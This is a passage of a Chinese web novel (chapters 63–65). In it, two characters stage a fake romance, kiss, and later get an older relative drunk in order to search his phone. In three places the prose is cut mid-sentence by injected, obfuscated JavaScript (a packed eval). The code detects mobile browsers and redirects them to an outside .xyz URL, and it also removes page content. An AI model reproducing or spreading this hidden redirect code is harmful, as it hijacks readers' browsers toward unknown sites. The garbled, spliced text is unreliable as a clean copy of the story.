向宁转身勾住他的脖子:“不止在他面前。他质疑精神很重的,做戏就要做全套,否则很容易露馅。” 枕安躲开她的眼神,再开口时,竟有些结结巴巴:“怎、怎么……做全套?” 向宁忍不住去逗他,稍稍踮起脚尖,愈发靠近他的面庞,直到惹得他避无可避,脸颊泛红才罢休。 “过几天,陪我去接蒋元磊吧。”她向宁帮枕安整理好被她弄乱的衣领,“亲爱的——特工同志。” 63. 伪装情侣计划三 作为“菜鸟特工”,向宁布置的这个任务对枕安而言实在有些艰巨,以至于他几乎一晚没睡,在脑中起草了一份“任务计划书(草稿版)”。 计划一,实施于次日午餐后。 祝璋还没回家,正在书房里跟简晓夜聊剧本。向宁坐在电视前的地毯上,拿着卡带盒纠结许久,不知道应该先玩哪个游戏好。 “你今天有空吗?”枕安问向宁。 “有空,怎么了?” “陪我去买几套衣服吧。” 向宁不禁打趣:“你衣品蛮好的,不需要时尚指导啊。” “但是要买情侣装,总得听听‘女朋友’的意见。”他似乎很不习惯说出这个词,抿了抿唇,确认道,“不是说要假扮情侣吗?” 向宁失笑:“别说假扮了,就算是真情侣,也不是人人都会买情侣装啊。” “是这样吗,这方面我没什么经验……”枕安沉默片刻,转而问起,“所以,你从来没和前男友穿过情侣装?” 向宁仔细想了想:“学士服算吗?不算就没有。” 枕安走到她身边坐下,问道:“如果我没有猜错,你之所以找我假扮情侣,就是为了让蒋昭恒死心?” 向宁坦然道:“没错。” “可是你跟他分手后,已经谈过几段恋爱了,他都没有死心。” 枕安的目光落在她手里的盒子上,各式各样的游戏卡带应有尽有,她却半晌挑不出一个来。 “如果我和你的前男友没有什么不同,他又怎么会因为我的出现而死心呢?” 向宁闻言一愣,抬头与他对视几秒,不由微微颔首:“嗯,有道理。看来确实有必要给你一些特殊待遇。” 她关掉电视,扔下卡带盒。 “择日不如撞日,就今天吧。” 商场扫货一下午,计划一,大成功。 晚上回家时,枕安两手拎满了购物袋,看得简晓夜啧声不断。 “你俩这是什么剧本啊?”她问。 “掉进消费主义陷阱的小资情侣。”向宁平移半步,往枕安怀里靠去,“怎么样,像吗?” 简晓夜向枕安扔去一个别有意味的眼神:“别掉进戏里出不来了就行,业余的和专业的毕竟不一样。” 枕安只是笑笑,正好可以借此由头开展计划二。 趁着向宁回屋收拾衣柜的时间,他对简晓夜发出了拜师申请:“简老师,可以向我传授一些演感情戏的要诀吗?” 简晓夜有些意外,笑道:“你怎么不直接找宁宁教你?她也是学表演的。” 枕安垂眸,静默片刻才答:“我也怕自己掉进戏里,就出不来了。” 简晓夜敛起笑容,柔声道:“你就不怕我入戏太深?” 枕安一本正经:“你是专业的。” 简晓夜换上一副深情款款的眼神:“可是如果我说,我第一次见到你的时候,就对你有那种好感了呢?” 枕安面色如常:“这是教学环节,还是整蛊环节?” 简晓夜强忍着笑场的冲动,蹙眉道:“我说真的!难道你眼里就只有宁宁,从来没有我吗?” 枕安自顾自延续着刚才的话题:“如果这是教学环节,我是不是应该跟你搭戏?但是对于我这种初学者来说,即兴表演的难度未免有些大了。” 简晓夜这次是真的笑场了,连连摇头道:“算了算了,咱俩戏路不合,我没法给你当老师。再说了,我看你压根也不需要表演老师。” 枕安似有困惑:“我不觉得自己有任何表演天赋。” “我也不觉得。”简晓夜不假思索地表示赞同,“但是,你不妨换个角度想问题——表演情侣的要诀,不就是通过日常生活中的种种细节,例如一个动作、一个表情、甚至一个语气词,让观众相信你们爱着彼此吗?” “是。”枕安认真点头,“我就是想向你请教,该怎么演出这些细节?” “不用演。”简晓夜伸手按上他的肩膀,鼓励般轻拍两下,“Justbeyourself.” 做自己? 枕安还想再问,简晓夜却不再为他答疑解惑了。 计划二,被迫搁置。 “猫猫在客厅吗?”卧室忽然传来向宁的声音。 “在!”另外两人异口同声。 向宁步伐轻快,从卧室小跑到客厅,把手里的小衣服展示给简晓夜看:“看这个,可不可爱?给猫猫买的。” 简晓夜细看片刻,马上发现了重点:这件衣服跟他们身上这套情侣装是同款。 “连它都有戏服?太过了吧?”简晓夜忍不住吐槽,“你们又不会带它出门,除了我以外,哪还有别的观众?” “不不不。”向宁冲她摇摇手指,“猫猫不需要上场演戏,只需要配合我们拍几张剧照。” “什么剧照?” “秀恩爱的情侣合照。” 也就是枕安的计划三—— “在大多数情况下,情侣确定恋爱关系以后,往往会在社交平台发布官宣合照,不是吗?” 简晓夜听完,幽幽补充半句:“艺人除外。” 向宁轻嘁一声:“得了吧,他们也没少秀,不信你就等着看今年情人节的朋友圈。” 简晓夜不置可否,静静看着他们合力帮猫猫穿上衣服,唇边渐渐浮起微笑。 早就说了,他们压根用不着演。 “行了,你们慢慢拍吧,我回避。”简晓夜揉一把猫猫尾巴,转身回屋去了。 向宁把小猫抱进怀里,拉着枕安一起坐在沙发上,拿出手机准备自拍。 “靠近点,脑袋凑过来。”她一步步发号施令,“表情别那么僵硬,笑一笑。” 枕安依言照做,尽量模仿出她的笑容。 小小一方手机屏幕里,向宁转头看他一眼,继而皱起了双眉。 “怎么了?”枕安问,“有哪里不对吗?” “我也说不上来。”向宁放下手机,“就是感觉刚才的氛围不像情侣,太‘不熟’了,像是第一次见面的网友。” “喔,那……”枕安稍显紧张地握了握拳,继而慢慢抬起一只手,试探性地搭在她肩膀上,“这样会好一点吗?” 向宁看了看他忐忑不安的手,随后抬眸对上他的目光:“我肩膀上有刺吗?” 枕安否认得有些拘谨:“没、没有啊。” 向宁又问:“我穿了金圣宫娘娘的五彩霞衣吗?” “什么娘娘?” “西游记,没看过啊?” 枕安怔了怔,随即明白过来。 “看过。”他加重手上的力气,实实在在地搂住向宁的肩膀,把她往自己的方向带了带,“这样呢?好多了吧。” 向宁近距离端详片刻,目光落定在他的脸颊上。 “太空了。”她说。 “什么?”沈安不解。 向宁微微一笑,换上公事公办的语气,说的话却委实不太正经:“枕安老师,不知道您这边方不方便,为咱们的表演事业和特工组织稍稍献一下身?” 枕安心里一跳:“怎么,献……” “很简单。”向宁把猫猫移到他腿上,起身去包里取出一支口红,在他面前晃了晃,“让我在你脸上留个唇印就行。” 枕安双手环抱猫猫,往后挪了挪身子,迟疑道:“这个,不、不太好吧?” 向宁目光含笑:“你有情感洁癖呀?” 枕安躲开她的眼神:“不是因为这个……” 向宁语带揶揄:“那就是害羞咯?” “没有。”枕安依旧嘴硬,“我、我是怕你会害羞。” “我才不会呢!”向宁似是被激起了胜负欲,还认真给他科普起来,“对于我们演员——不,对于我们表演生来说,拍吻戏就和牵手、拥抱一样,都是普通的肢体接触而已,没什么可害羞的。要是连这道基础门槛都迈不过去,那还做什么演员?” 枕安咬了咬下唇,抗拒道:“那也不能一开始就……总得循序渐进吧?” “恰恰相反。”向宁继续给他上课,“很多剧组都会把亲密戏安排在最开始拍,以便男女主角尽快跟彼此建立默契。” 枕安张了张口,没想出反驳的理由来,纠结几番,索性放弃了抵抗,咬牙闭眼道:“那就来吧。” “喂,什么态度?”向宁捏起他一边脸颊,“我很丑吗?” “不。”枕安马上反驳,紧闭的双眼伴着睫毛微微颤动,“你很漂亮。” “那你干嘛一脸视死如归的表情?”倒显得她像个强人锁男的重口富婆。 枕安慢慢睁开双眼,正对上她诘责的眼神。 “因为,你很漂亮。”他轻声说。 向宁并不是没有听过这种直球赞美,可是不知道为什么,此时此刻的她,忽然感受到了此前从未有过的无措——虽然只有一点点。 可她不想输了这局“谁不害羞算谁赢”的比赛,尽管没人要跟她比,她也不乐意输给无故退缩的自己。 手边没有镜子,向宁便去卫生间补好了口红。回到客厅时,枕安脸上挂着她再熟悉不过的神情。 她停下脚步,抱臂倚在墙边,饶有兴致地看着他。 “你……怎么不过来?”枕安被她盯得有些心虚,别开脸问道,“笑什么?” 向宁这才慢慢走近他,同时开口道:“没什么,就是突然联想到——坐飞机的时候,每当空姐开始发餐,我就会进入一种特殊的尴尬状态。明明她已经离我越来越近,我却总是假装看不见她,更不想表现出我在期待她开口跟我说话,只能在心里默默估量——三秒,两秒,一秒,现在应该轮到我了吧?” 语毕,她在枕安面前站定,微微俯身看着他,似笑非笑道:“你刚才的表情,就跟那种状态如出一辙。” 枕安无可反驳,无奈道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051442|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你为什么总有那么多奇奇怪怪的比喻?我——” 他话说半截,颊边忽然被向宁柔软的唇瓣轻轻一触。 突然弯腰的动作使她短暂失去了平衡,为了稳住身子,向宁下意识曲起一条腿,将膝盖顶入了枕安两腿之间的沙发上。猫猫嫌周遭空间太小,一扭身便从他怀里溜走了。 一切发生得太快,枕安甚至还没反应过来,就已经结束了。 他抬头对上向宁的双眸,想说些什么,却见她眼里充满困惑,仿佛在解一道难度很高的数学题。 “不对。”她低声喃喃,拇指在他的脸颊上来回轻抚,“没有颜色。” 枕安的喉咙稍显干涩:“没留下唇印吗?” “可能是因为我刚才没怎么用力吧。”向宁决定使用控制变量法,“再试一次。” 这次她用了双倍力气,实验结果仍旧不太理想。 “只有周围一圈留下了断断续续的红印,好难看的图案。”向宁深表嫌弃,“估计是实验器材出问题了。” 语毕,她拉着枕安回到卫生间,塞给他一张卸妆巾:“喏,把脸擦干净。” 接着她找出刚才那支口红,细看才知:“居然是不沾杯的!好家伙,真是一点没有虚假宣传啊。” 梅开三度,这次向宁选了一支最容易脱妆的口红,厚涂两层才放心。 这次她做足准备,倒是在枕安脸上留下了实打实的鲜红唇印,然而—— “你的表情好奇怪。”枕安凑近镜子,仔细观察自己的侧脸,“颜色很饱满,还有什么问题吗?” 向宁苦着脸:“太饱满了,简直是一张血盆大口,不知道的还以为你被食人花啃了呢!毫不性感,只有喜感。” 枕安捏着卸妆巾笑叹一声,接着问她:“要再来一次吗?” 向宁看着他脸上那个难看的唇印,佯装退让道:“你要是害羞就算了。” “别瞧不起人。”枕安随即擦去脸上的口红,“被你折腾这么久,我已经脱敏了。” 向宁重新补好口红,竖起三根手指郑重承诺:“我保证这是最后一次,绝对不多占你的便宜。” 枕安靠近她半步,声音近乎自言自语:“我倒觉得,是我占了你的便宜。” “哦?思想觉悟很高嘛。”向宁用双手环住他的脖颈,“继续保持。” 枕安身体微僵片刻,继而托住她双腿向上举起,放她在洗手台边稳稳坐下,从容道:“开始吧。” 向宁惊讶一笑,忍不住打趣他:“可以啊,这么熟练,跟谁学的?” “没有学……”枕安双手扶着她的腰,赧然道,“就、就是,感觉这里的高度比较合适,顺手就……” “不是说已经脱敏了吗?”向宁愈发靠近他面庞,调笑道,“我怎么觉得你还是那么害羞啊?又开始结巴了。” 枕安不甘示弱:“嘲笑人者,人恒嘲笑之。” “不,敢,苟,同。”向宁一字一顿,用虎口卡住他的下巴,微微偏转,使他的侧脸正对着她,继而向前倾身。 在她唇瓣即将触及他脸颊的那一瞬,枕安蓦然用力转过脸,直视着向宁无暇应变的双眸。二人鼻尖相抵,两道紧紧纠缠的呼吸已然难以分清归属,唇瓣似碰未碰,渐渐拉开一点距离。 “怎么,不敢亲了?”枕安模仿着她调侃自己的语气,“嘲笑我的时候那么起劲,现在轮到你自己,不是一样害羞了?” 向宁错开他的目光,略微收了收下巴,嘴硬道:“我、我没有!” 枕安仿佛抓住了她的把柄:“谁说没有?明明连突然变结巴的症状都一模一样。” 向宁仍有说辞:“我那是因为……你突然改戏,不按剧本演,我一时没准备好罢了!” “是吗?”枕安冲她挑了挑眉,“刚才是谁跟我说的来着?对于你们演员——不,对于你们表演生来说,拍吻戏只是普通的肢体接触而已。既然这样,吻脸颊和吻嘴唇又有多大区别呢?” 向宁眯眼看他:“你这算是挑衅我?” “只是一点小小的反击而已。”枕安温柔的声音里带着少见的狡黠,“只要你承认你刚才害羞了,我就放过你。” 向宁无声一笑,伸手勾住他的衣领。 “要我承认,不就是要我认输?” 第一颗扣子被轻松挑开,她的指尖拂过他锁骨,引来一场目不可视的山崩。 “枕安,看来你还不够了解我。” 第二颗扣子很快宣布投降,刹那间丢失了大片阵地,使那咚咚的擂鼓声无处可藏。 “我,向宁,从不认输。” 第三颗扣子亦无力抵抗她的进攻,幸而地理位置占优,终于等来外援。 枕安狼狈地抓住向宁肆意作乱的手,喉结上下滚动,仿佛有太多难言的话语堵在这里。 向宁仍未停止,用无可置疑的语气附在他耳边说—— “绝不认输。” 64. 她的罪证 这天晚上,公关部A组无领导小群里热闹非凡,被小李发来的一张照片激得炸了锅。 [李子不甜]走过路过不要错过,南来北往的老少娘们都瞧一瞧看一看啊,向宁姐的新男友是不是年会那天的夜宵哥? [Rebecca]OMG,这照片哪来的? [李子不甜]向宁姐刚发的官宣朋友圈,吃瓜.gif [麦秋]是夜宵哥(确信)! [李子不甜]我就说吧,跟着小秋下注,绝对稳赚不赔。赌输的姐妹们赶紧掏钱掏钱! [Rebecca]秋姐,以后你就是我唯一的姐,玫瑰花.jpg [麦秋]低调,低调。 [李子不甜]话说夜宵哥不是蛮有姿色的吗?官宣照为啥要用猫猫脑袋挡住下半张脸呢? [Rebecca]Idon''tknow,maybe在玩犹抱琵琶半遮面的情趣。 [李子不甜]Don''t在here放洋屁! [Rebecca]私密马赛。 [麦秋]可能嘴被亲肿了,不好意思露吧。(进行一个谣的造,拒绝承担任何法律责任) [Rebecca]???无良营销号从我群滚出克! [李子不甜]也不是完全没有可能,没看他脸上有个唇印嘛? 无论真相如何,总之现在胜负已定,输掉赌局的同事们先后发出红包,在人民币的诱惑下,大家很快就忘了刚才那点小小的疑惑。 麦秋坐在回学校的末班地铁上,身旁是同样没有回老家过年的杨晨叶。 “奇怪。”他打开手机翻了半天,“我怎么看不见向宁姐这条朋友圈?” 麦秋凑近一看,果然如此,便猜测道:“可能因为你不是她的‘自己人’,所以不在可见范围内吧?” 然而这一次,作为领导心腹的她,却没能猜到领导的心思。 由于工作需要,向宁的微信好友太多太杂,这条朋友圈不仅屏蔽了杨晨叶,还屏蔽了所有跟祝家、跟呈业集团有关联、有可能认得“祝琰”长相的人。 当然,也包括祝璋本人——这是枕安的要求。 “让她看到了,实在不好解释。”他说。 向宁将一片卸妆巾覆在他的嘴上,含笑道:“那你可要快点恢复正常,别让她看见你这幅样子,可怜兮兮的。” “怪谁?”枕安扔下卸妆巾,指腹擦过微微红肿的下唇,嗔怪地瞪她一眼,忿忿道,“别想销毁你的犯罪证据。” 向宁毫不内耗,理直气壮道:“当然怪你自己了!就这点抗压能力,以后组织上怎么能放心重用你?” 枕安见她起身要走,连忙伸手环住她手腕,拉她坐回自己身边。 “不行,我不能就这么放你走。”他拿起手机,打开相机准备自拍,“我得保留你欺负我的罪证。” “欸,不要倒打一耙,谁欺负谁啊?”向宁夺过他的手机,高高举过头顶,“是你自己要做戏霸,乱改剧本,我只是出于敬业精神,耐心配合你而已。” 枕安追着她的动作,想把手机抢回来,然而追着追着,两人就失去重心,双双从沙发上摔下来,滚到了地毯上。 向宁跨坐在他腰间,双手撑住他胸口,借力支起上半身,失笑道:“现在这么看,倒真像是我在欺负你了。” 枕安的呼吸略显急促,偏过头轻推她腰侧,低声道:“别闹了。” 向宁起了玩心,慢慢俯身去堵截他一味逃避的目光,等到枕安避无可避,即将再次出言求饶的那一刻,她忽而伸手覆住他的双眼。 他的睫毛间或在她手心颤抖着。得益于他高挺的鼻梁,枕安能通过向宁手掌下的缝隙察觉她的动向。 每一次眨眼,就仿佛相机被按下快门,照片虽不完整,却能带来一种拼图游戏的趣味。他看见她欣然勾起的唇角,看见她兴味盎然的眼神,甚至看见她颈上的一颗小痣,那是他此前从未注意过的细节。 最后,她在他主动张开的唇上轻落一吻 “法官大人。”她用另一只手按住他心口,仔细感受着他心跳的变化,“这一次,你要数罪并罚吗?” 枕安下意识收紧了环在她腰侧的双手:“怎么罚?” “要怎么判罚,还不是你这个法官说了算?”向宁凑近他耳边,轻声玩笑道,“不过,你要是量刑太重,我就得找个辩护律师帮帮忙了。” “不行。”枕安倏地坐直身子,移开她遮在他眼前的手,凝视她双眸严肃道,“不许去找他。” 他的动作太过突然,为了保持平衡,向宁只能用双手环住他脖颈,同时向身下看去,打趣道:“腰不错啊,这都坐得起来。” 枕安却不接这话,仍旧盯着她双眼,固执重复道:“不许去找他。” 向宁挑眉:“我认识很多律师呢,刚才指名道姓说要找谁了吗?” 枕安一时语塞,又听她继续问道:“再说了,就算我要去找蒋昭恒,你现在又能以什么身份阻止我?” 枕安不假思索,脱口便答:“既然你说我是法官,那我现在判你无罪,你就不用找律师了。” “多谢审判长高抬贵手。”向宁伸手轻拂他唇角的红痕,“那我的‘罪证’呢,要怎么处理?” 枕安望向她的眼神写满了不服,却还是乖乖擦去了口红在他脸上留下的一切痕迹,配合道:“什么罪证?我没见过。” “真乖。”向宁眼中笑意更浓,把枕安的手机还给他,“不过,你总是这么听话,我会更想欺负你的。” 语毕站起身来,揉了揉枕安的脑袋,扔下一句“晚安好梦”,便转身回屋去了。 枕安在原地呆坐片刻,顶着被她抓乱的头发走到猫窝旁边,把正在舔爪子的小猫抱入怀中。 “请问这位目击证猫,对你妈妈肆意欺压任务搭档的恶劣行径有何看法?”他问。 猫猫没有反应,刚舔完一只爪子,又开始舔下一只。 枕安握住它的猫爪,上下摇了摇,自顾自继续问道:“除了我,她以前也这样欺负过别人吗?” 猫猫抽出爪子,极为灵活地一跃而下,正好跳进猫窝中心。 枕安不依不饶,干脆盘腿坐在它的窝边,追问道:“摇尾巴就是有过,翻肚皮就是没有。这位证猫,请开始你的证词。” 猫猫打了个哈欠,当庭入睡。 几乎与此同时,向宁难掩笑意的声音从枕安面前传来—— “这位审判长,你是不是忘了猫窝旁边有监控?” 枕安循声望去,表情不由一滞,而后掩耳盗铃似的用手盖住摄像头,清了清嗓子道:“这位嫌疑人,请不要干扰二审流程。” 向宁操控着圆滚滚的摄像头在他手里转来转去,弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15055889|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得枕安手心发痒。 “别遮住呀,让我看看目击证猫在干嘛,有没有回答你的问题?” 枕安轻叹着松开了手,无奈道:“算了,不答就不答,我也不是很想知道。” 说完他起身要走,然而刚走出两步,身后便传来向宁的声音—— “我没有这样欺负过别人。” 枕安脚步一顿,回过头来看向斜下方的摄像头,唇角刚要往上扬,就听向宁坏心眼地补充了后半句—— “因为,别人都没有你这么好欺负呀。” 语毕即刻关掉通讯,不给枕安留下出言反击的机会。 然而向宁不知道的是,枕安并没有打算反击,只是在犹豫要不要把心里话说出来—— “那么以后,也只欺负我一个人吧。” …… 两天后,拘留所外。 昨晚刚下过一场雪,冷飕飕的。向宁一手插在枕安的大衣口袋里,另一只手慢悠悠地长按语音输入,给蒋昭恒发了句:“我们已经到了,你来不来?” 经过这几天的“脱敏治疗”,枕安在扮演向宁的男朋友时,已经不会出现什么明显的破绽了。 牵手、搭肩、搂腰之类的动作都练得熟稔,即便从简晓夜的专业视角出发,也看不出任何表演痕迹。 枕安在风衣口袋里抓住向宁的手,继而改成十指交握的姿势,问道:“他怎么说?” 向宁点开对方发来的语音条,蒋昭恒语气冷淡:“严警官没有通知你吗?蒋元磊情况特殊,不在拘留所统一释放,移交派出所了,让家属去那边接。” 向宁嘁了一声,腹诽道:我又不是他家属,严警官怎么会通知我? 她没有回复蒋昭恒这条消息,直接跟枕安一起赶往派出所。等他们赶到时,蒋元磊已经坐在蒋昭恒的副驾上了。 “小宁,你怎么来了?还……还带着小安啊?”蒋元磊被墨镜和口罩遮得严严实实,看不出面部状态有何变化,只是声音明显憔悴了许多,“既然你都来了,公司是不是也知道这件事了?” 向宁坐上后座,表现得十分关切:“蒋叔叔,您就放心吧,公司那边有我帮您瞒着呢,现在他们也只是有所怀疑,不能确定这事是真是假。今天来接您,是昭恒哥让我们一起来的。咱们虽然错过了前几天的年夜饭,但是今天还可以补一顿团圆饭嘛。我们一起给您接风洗尘,好好去一去晦气,怎么样?” 蒋元磊似乎非常动容,再开口时甚至带上了些许哭腔:“我就知道,你们都是孝顺孩子。我年龄大了,你们不会不管我的。” 听到这里,沉默许久的蒋昭恒突然冷哼一声,讥讽道:“我看你年龄还不够大,还有精力做那种脏事。” 蒋元磊长叹一声,俨然一副委屈样子:“昭恒,我已经跟你解释过很多遍了,我这次真的是被人设局陷害的!他们给我下了药,一杯酒下肚之后,我就什么也不记得了。在此之前,我一次也没做过那种事啊!” 向宁生怕蒋昭恒忍不了一时之怒,会拿出证据来打他的脸,坏了大局,连忙插话表示信任:“是啊昭恒哥,在我们这行里,这种事真的是防不胜防,稍一疏忽大意,就掉进别人的陷阱里了。” 蒋昭恒从后视镜里瞥她一眼,向宁趁机给他使了个眼色。 蒋昭恒沉默几秒,斜眼看向蒋元磊,语气稍缓道:“好,吃饭。” 65. 故技重施 正是午饭时间,向宁选了一家私密性极好的饭店,她以前常常带着合作艺人一起去,已是熟门熟路。 四人进了包厢,各自扫码点餐。 “欸,这里居然还有个选项,可以让机器人来送餐?”蒋元磊仿佛发现了新大陆,“要不咱们就试试这个吧,免得时不时有外人进包间,乱哄哄的。” 向宁笑得温柔:“行,都听您的。” 蒋元磊这才取下口罩,喝了口热茶,欲言又止片刻,看着向宁讪笑道:“小宁,要不……你和小安先去催催菜吧,我有点饿了。” 刚点完菜就催菜?这种赶人出门的借口未免太过蹩脚,也不知他要说些什么见不得人的话。 向宁和蒋昭恒的眼神短暂相接一瞬,见他没有鲁莽戳穿,便稍稍放了心,乖巧起身道:“好嘞,我们去催一催。” 枕安随她一同起身,自然而然牵住了她的手,十指相扣。 出了包厢,向宁帮蒋元磊关好门,拉着枕安去找大堂经理陶薇。 陶薇是陶温的双胞胎妹妹,跟向宁关系不错,今天见到她来,尽管工作忙碌,也乐得抽空跟她聊几句。 “这大过年的,你怎么有空来了?”陶薇拍拍向宁的胳膊,移目看向枕安,“这位是——你男朋友吧?” 向宁用力捏了下枕安的手,后者接到指令,点头微笑道:“是的,你好。” “你好你好。”陶薇礼节性地跟他握了手,又问向宁,“你们在这晃悠什么呢,大堂没有好位置了吗?要不,我帮你们协调协调?” 向宁摆手道:“不用了,我们跟亲戚一起来的,有包厢。” 陶薇大吃一惊,怔愣片刻后,凑在向宁耳边轻声道:“不会都见家长了吧?我哥当初怎么没这待遇呢!” 向宁打了个哈哈,把她拉到一边询问道:“你们这的送餐机器人,有没有摄像头,或者收音器?” 陶薇环顾四周,压低声音道:“你要干嘛呀?” 向宁随口编了个理由:“我感觉他们对我男朋友不是很满意,想听听他们在背后是怎么评价他的。” “那你直接问他们呗。” “直接问的话,他们肯定会顾着我的面子,不说实话。” 陶薇面露难色:“哎呀,这个我可能没法帮你了。你也知道,我们这经常有明星出入,对保密性要求很高的。谁敢用送餐机器人搞小动作,被查出来肯定要丢工作。” 既然如此,向宁也不好坚持什么,只能作罢。 陶薇安慰似地拍拍她的肩:“我虽然没有这个权限,但送几个菜还是没问题的。你喜欢吃的老三样都安排上,能不能开心点了?” 向宁回以一笑:“那就谢谢啦。” 告别了陶薇,向宁有些泄气,索性去窗边观景区的吊椅上坐着休息。 枕安绕到她身后,像推秋千一样轻推吊椅。向宁抬头看着他叹了口气,抱怨道:“我已经很努力地跟蒋元磊打好关系了,可他还是不信任我,跟蒋昭恒说话都要把我赶出去。” “其实不一定啊。”枕安宽慰道,“也许蒋元磊很信任你,只是想把我这个外人赶出去,又怕这么做显得太刻薄,会给我难堪,所以才让你陪我一起出来待一会。” 向宁不屑地撇撇嘴:“得了吧,他才不是那种会在乎别人感受的人呢。” 枕安停住手上的动作,到她身边坐下。向宁给他让出一点位置,在水滴形的吊椅里,两个人受空间所限,顺理成章地依偎在了一起。 向宁还没有放弃探听消息,等待几分钟后,直接给蒋昭恒打了个电话。 对面很快接起,向宁不等他出声便问:“蒋元磊知道是我在给你打电话吗?” 蒋昭恒沉默了几秒才回答:“好的王律,什么案子,您说。” 向宁会意,继续往下问:“他都跟你说什么了?挑重点给我讲讲呗。” 蒋昭恒配合道:“嗯,这个当事人的具体信息比较复杂,我还是直接给您发微信吧。” 蒋昭恒没有挂断电话,向宁听见蒋元磊非常善解人意地说:“没事,工作重要,你先忙。” 对面的消息紧随其后发来:「他问我借钱,50万,用途不详。」 向宁很快回复:「他这两年频繁飞澳门,可能欠了赌债,你审审吧。」 “我可以给你钱。”蒋昭恒语气冷淡,“但你必须跟我实话实说,你要这50万,是不是为了还债?” “也不算是还债吧……”蒋元磊的声音听着就心虚,“其实我、我跟你几个叔叔合伙做生意来着。你也知道,投资嘛,总是有赚有赔。” “做生意?”蒋昭恒冷笑一声,“那我再问你一句,你这桩赔了50万的生意,跟黄赌毒有没有关联?” 蒋元磊矢口否认:“绝对没有!我们做的都是正经生意啊!” “是吗?”这就正好撞到蒋昭恒的枪口上了,“那你先说说,你有几个生意伙伴,分别叫什么名字,生意涉足什么行业,你们都签过哪些合同,有没有切实可查的银行流水?” 蒋元磊有些恼羞成怒了,拍桌喊道:“有你这样跟亲爹说话的吗,审犯人呢?书都读到狗肚子里去了,知不知道孝顺两个字怎么写!” 向宁见状,赶紧给蒋昭恒发去一条微信:「别冲动,稳住他。」 电话那头陷入一片静默,没有人说话,只隐约传来写字的声音。 再等几秒后,蒋昭恒终于开口:“这张支票你拿去。” 蒋元磊急忙扯过支票,看清上面的数字后不由喜上心头,嘴却还硬着,也许是不想在儿子面前丢了面子,板着脸说道:“还算你有点良心。” 蒋昭恒鄙夷地看他一眼,起身扔下一句:“我去叫他们回来。” “去吧去吧。”蒋元磊小心翼翼地把支票收好,顿觉如释重负。 向宁拍拍枕安的大腿:“走了,回去干正事。” “什么正事?” “故技重施,再把他灌醉一回。” 这次没有事先准备假酒道具,但是没关系,向宁自有办法。 “蒋叔叔,他俩一个要开车,一个在吃中药,都喝不了酒。来,今天我陪您喝吧。”她端起酒杯,说了一连串吉祥话,然后仰头喝下一整杯白酒,还把酒杯倒过来展示给蒋元磊看。 “慢点喝,这么着急做什么?”枕安摆出一副关切神情,递给她一杯热茶,“赶紧冲一冲,别上头了。” 向宁乖乖接过茶杯,看似小口抿着茶水,实则把刚才那杯酒全吐了出来。 蒋元磊没看出门道,高高兴兴喝完了自己那杯酒。 只可惜这个办法不能多用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059362|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,否则迟早会被看出破绽。一顿饭吃下来,向宁面前的茶杯、汤碗、甚至纸巾里都被吐了不少白酒,但她还是实打实地喝了小半瓶,好不容易才把蒋元磊喝倒。 “蒋叔叔,您怎么趴下了?”她凑近观察片刻,确认蒋元磊已经不省人事了,这才放下酒杯,垂着头抓住枕安的胳膊说道,“我得赶紧去吐一下,这酒度数太高,晚了就上头了。” 枕安连忙把她扶进包厢里的卫生间,向宁也顾不得保持形象,直接猛按舌根,撑在马桶上吐了起来。 枕安一手束起她的头发,一手轻拍她后背,同时对蒋昭恒喊道:“拿个杯子过来!” 蒋昭恒快跑两步递来杯子,皱眉道:“你不是要让她在卫生间里喝水吧?” 枕安没有理他,接好一杯矿泉水递到向宁嘴边,柔声道:“漱口。” 向宁漱完口,慢慢站直身子,又去洗手台边洗了把脸。 蒋昭恒递给她一包纸巾,关心道:“你怎么样,喝醉了吗?” “没事,及时吐出来就好多了。”向宁推开他的手,“不用纸巾,开窗吹一吹就好了。” 蒋昭恒知道自己拦不住她,便也不再劝了。 蒋元磊的手机密码没变,还是1111,向宁来回切换几个软件,不断翻找,却迟迟没有头绪。 “奇怪,从账单和聊天记录来看,他欠别人的钱应该已经用这笔预付片酬还清了啊,那50万又是做什么的?” 枕安回想片刻,凑到向宁耳边轻声说:“会不会是给他另一个儿子的?” 蒋昭恒见他们说起悄悄话来,不免有些吃味:“什么事啊,还不能当着我的面说?” 向宁思忖片刻,决定开门见山,不兜圈子了:“蒋元磊好像有个女朋友。” 蒋昭恒面不改色:“只有一个?” “比较固定的貌似只有一个。”向宁抿了抿嘴,“而且,他们好像还有个六岁的孩子。” 蒋昭恒点头:“嗯,蒋凌云。” 向宁闻言一愣:“你知道这事啊?连小孩的名字都知道?” “嗯,离婚筹备期间,我妈的律师团查出来的。” “那你怎么没跟我说过呢?” “为什么要跟你说?又不是什么好事。” 